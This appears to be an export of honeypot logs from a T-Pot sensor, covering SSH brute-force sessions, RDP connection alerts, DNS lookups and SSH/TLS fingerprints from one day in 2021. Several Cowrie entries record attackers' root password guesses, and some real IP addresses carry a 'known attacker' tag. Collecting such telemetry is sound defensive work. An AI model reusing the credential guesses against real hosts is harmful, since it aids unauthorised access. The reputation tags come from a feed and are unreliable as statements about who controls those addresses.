30937	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:40:24.768843+03	2021-09-20 14:45:03.827143+03	{"_id": "cAYBA3wBvYTbRNuE2UCX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 24454, "dest_port": 22, "timestamp": "2021-09-20T11:40:24.768843", "@timestamp": "2021-09-20T11:40:24.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30938	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:40:24.769474+03	2021-09-20 14:45:03.828142+03	{"_id": "cQYBA3wBvYTbRNuE2kDO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "02b3ce6f19cc", "@version": "1", "timestamp": "2021-09-20T11:40:24.769474Z", "@timestamp": "2021-09-20T11:40:24.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30939	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:40:29.609958+03	2021-09-20 14:45:03.829142+03	{"_id": "eAYBA3wBvYTbRNuE7EAO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 15795, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 217, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1795727758805013, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48756, "timestamp": "2021-09-20T11:40:29.609958Z", "@timestamp": "2021-09-20T11:40:29.609Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30940	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:29.671789+03	2021-09-20 14:45:03.831143+03	{"_id": "fAYBA3wBvYTbRNuE7UAi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35514, "dest_port": 443, "timestamp": "2021-09-20T11:40:29.671789", "@timestamp": "2021-09-20T11:40:29.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30941	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:40:29.713942+03	2021-09-20 14:45:03.832142+03	{"_id": "fQYBA3wBvYTbRNuE7UAi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35514, "timestamp": "2021-09-20T11:40:29.713942", "@timestamp": "2021-09-20T11:40:29.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30942	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:40:29.989354+03	2021-09-20 14:45:03.834142+03	{"_id": "iAYBA3wBvYTbRNuE7kBZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "02b3ce6f19cc", "@version": "1", "duration": 5.478312730789185, "timestamp": "2021-09-20T11:40:29.989354Z", "@timestamp": "2021-09-20T11:40:29.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30943	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:40:29.965496+03	2021-09-20 14:45:03.835142+03	{"_id": "egYBA3wBvYTbRNuE7EAP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 27881, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 217, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1091003082454568, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 37059, "timestamp": "2021-09-20T11:40:29.965496Z", "@timestamp": "2021-09-20T11:40:29.965Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30944	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:30.014915+03	2021-09-20 14:45:03.836142+03	{"_id": "ewYBA3wBvYTbRNuE7UAh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35516, "dest_port": 443, "timestamp": "2021-09-20T11:40:30.014915", "@timestamp": "2021-09-20T11:40:30.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30945	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:23.526336+03	2021-09-20 14:45:03.838142+03	{"_id": "ZQYBA3wBvYTbRNuE1ECb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:23.416317+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 67454393342525, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 8187, "timestamp": "2021-09-20T11:40:23.526336Z", "@timestamp": "2021-09-20T11:40:23.526Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30951	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:40:28.720084+03	2021-09-20 14:45:03.846141+03	{"_id": "dgYBA3wBvYTbRNuE6kBw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/456456] failed", "session": "02b3ce6f19cc", "@version": "1", "password": "456456", "username": "root", "timestamp": "2021-09-20T11:40:28.720084Z", "@timestamp": "2021-09-20T11:40:28.720Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30946	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:40:15.271365+03	2021-09-20 14:45:03.839142+03	{"_id": "UwYBA3wBvYTbRNuEtUBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:14.559362+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 396416675383554, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60401, "dest_port": 3389, "timestamp": "2021-09-20T11:40:15.271365Z", "@timestamp": "2021-09-20T11:40:15.271Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30947	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:40:15.834272+03	2021-09-20 14:45:03.840142+03	{"_id": "VQYBA3wBvYTbRNuEt0Ci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3257f5aebb97", "@version": "1", "duration": 2.813570499420166, "timestamp": "2021-09-20T11:40:15.834272Z", "@timestamp": "2021-09-20T11:40:15.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30948	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:40:15.271365+03	2021-09-20 14:45:03.842143+03	{"_id": "VAYBA3wBvYTbRNuEtUBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:14.559362+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 396416675383554, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60401, "dest_port": 3389, "timestamp": "2021-09-20T11:40:15.271365Z", "@timestamp": "2021-09-20T11:40:15.271Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30949	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:40:26.167979+03	2021-09-20 14:45:03.843142+03	{"_id": "cwYBA3wBvYTbRNuE3kC2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/4545] failed", "session": "02b3ce6f19cc", "@version": "1", "password": "4545", "username": "root", "timestamp": "2021-09-20T11:40:26.167979Z", "@timestamp": "2021-09-20T11:40:26.167Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30950	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:40:27.454488+03	2021-09-20 14:45:03.845142+03	{"_id": "dAYBA3wBvYTbRNuE4kCf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/456321] failed", "session": "02b3ce6f19cc", "@version": "1", "password": "456321", "username": "root", "timestamp": "2021-09-20T11:40:27.454488Z", "@timestamp": "2021-09-20T11:40:27.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30954	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:40:47.584311+03	2021-09-20 14:45:03.850141+03	{"_id": "sgYCA3wBvYTbRNuEMEDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:52970 (192.168.176.2:22) [session: 6a5e68bbcefc]", "session": "6a5e68bbcefc", "@version": "1", "protocol": "ssh", "src_port": 52970, "dest_port": 22, "timestamp": "2021-09-20T11:40:47.584311Z", "@timestamp": "2021-09-20T11:40:47.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30955	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:40:47.762865+03	2021-09-20 14:45:03.851142+03	{"_id": "swYCA3wBvYTbRNuEMkBm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1445559076337486, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52970, "dest_port": 22, "timestamp": "2021-09-20T11:40:47.762865Z", "@timestamp": "2021-09-20T11:40:47.762Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30956	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:47.765644+03	2021-09-20 14:45:03.852142+03	{"_id": "tQYCA3wBvYTbRNuEM0B7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52970, "timestamp": "2021-09-20T11:40:47.765644", "@timestamp": "2021-09-20T11:40:47.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
